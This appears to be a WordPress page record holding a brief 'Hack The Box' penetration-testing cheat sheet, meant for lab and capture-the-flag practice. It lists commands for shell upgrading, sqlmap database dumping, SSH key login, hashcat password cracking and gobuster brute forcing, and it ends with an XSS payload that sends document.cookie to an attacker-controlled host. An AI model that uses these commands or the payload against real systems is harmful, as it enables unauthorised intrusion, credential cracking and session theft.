{"id":214,"date":"2024-08-13T00:12:25","date_gmt":"2024-08-12T23:12:25","guid":{"rendered":"https:\/\/unchaincode.com\/?page_id=214"},"modified":"2024-08-13T17:37:03","modified_gmt":"2024-08-13T16:37:03","slug":"hack-the-box-cheat-sheet","status":"publish","type":"page","link":"https:\/\/unchaincode.com\/index.php\/hack-the-box-cheat-sheet\/","title":{"rendered":"Hack The Box Cheat Sheet"},"content":{"rendered":"\n<p class=\"has-white-color has-text-color has-link-color has-large-font-size wp-elements-835638c870b4e27fa33afa12fb113e18\"><strong>Upgrade Shell<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-verse has-text-color has-link-color wp-elements-3f17f9dbab4d1228cb0ba88b6126d4b8\" style=\"color:#5ee543\">python -c 'import pty;pty.spawn(\"\/bin\/bash\")'<br>Background Session with ctrl + z<br>stty raw -echo &amp;&amp; fg<br>press enter 2x<br>export TERM=xterm<\/pre>\n\n\n\n<p class=\"has-white-color has-text-color has-link-color has-large-font-size wp-elements-90c9e0a720b40020718023031718b8f7\"><strong>SQLMap<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-verse has-text-color has-link-color wp-elements-fec693df4edf0e84502f18d0e3bda3cc\" style=\"color:#5ee543\">sqlmap -r [Request] --level[0-5] --risk[0-3] --batch --dbms=mysql --dbs<br>sqlmap -r [Request] --batch --dbms=mysql -D [database] --tables --thread 10<br>sqlmap -r [Request] --dbms=mysql -D [database] -T [tables] -C [column] --dump    <\/pre>\n\n\n\n<p class=\"has-white-color has-text-color has-link-color has-large-font-size wp-elements-74d9b2ea7f53a9dd8863411ffaa00914\"><strong>SSH Private Key<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-verse has-text-color has-link-color wp-elements-43777f9c5140a02a08cb1fe12ce2aff8\" style=\"color:#5ee543\">chmod 600 [KEY]<br><br>ssh -i [KEY] user@[IP]<\/pre>\n\n\n\n<p class=\"has-white-color has-text-color has-link-color has-large-font-size wp-elements-5d33fe73f7d327b803a9c06106fd2631\"><strong>Hashcat<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-verse has-text-color has-link-color wp-elements-9fe45138c27e9e4d8e9ef3da3b5e0721\" style=\"color:#5ee543\">hashid [hash.txt] <br><br>hashcat -m 1400 [hash.txt] \/usr\/share\/wordlists\/rockyou.txt<\/pre>\n\n\n\n<p class=\"has-white-color has-text-color has-link-color has-large-font-size wp-elements-59a2032bcde48d9bfbd70288516ae88a\"><strong>Gobuster<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-verse has-text-color has-link-color wp-elements-782e862defed7ceb65f4948618a7a126\" style=\"color:#5ee543\">gobuster dir -u [website] -w \/usr\/share\/wordlists\/dirbuster\/[commontext]<br><br>gobuster vhost -u [website] -w \/usr\/share\/wordlists\/seclists\/Discovery\/DNS\/[subdomain]<\/pre>\n\n\n\n<p class=\"has-white-color has-text-color has-link-color has-large-font-size wp-elements-baf654e9c14113c4f221462e84a3e213\"><strong>Java script payload<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-verse has-text-color has-link-color wp-elements-dbe46b90abd7b5ad569ab829d0940ca8\" style=\"color:#5ee543\">&lt;img src=x onerror=fetch(\"http:\/\/[localIP]:port\/\"+document.cookie);><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>Upgrade Shell python -c &#8216;import pty;pty.spawn(&#8220;\/bin\/bash&#8221;)&#8217;Background Session with ctrl + zstty raw -echo &amp;&amp; fgpress enter 2xexport TERM=xterm SQLMap sqlmap -r [Request] &#8211;level[0-5] &#8211;risk[0-3] &#8211;batch<span class=\"more-button\"><a href=\"https:\/\/unchaincode.com\/index.php\/hack-the-box-cheat-sheet\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\">Hack The Box Cheat Sheet<\/span><\/a><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"parent":0,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-214","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/unchaincode.com\/index.php\/wp-json\/wp\/v2\/pages\/214","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/unchaincode.com\/index.php\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/unchaincode.com\/index.php\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/unchaincode.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/unchaincode.com\/index.php\/wp-json\/wp\/v2\/comments?post=214"}],"version-history":[{"count":6,"href":"https:\/\/unchaincode.com\/index.php\/wp-json\/wp\/v2\/pages\/214\/revisions"}],"predecessor-version":[{"id":236,"href":"https:\/\/unchaincode.com\/index.php\/wp-json\/wp\/v2\/pages\/214\/revisions\/236"}],"wp:attachment":[{"href":"https:\/\/unchaincode.com\/index.php\/wp-json\/wp\/v2\/media?parent=214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}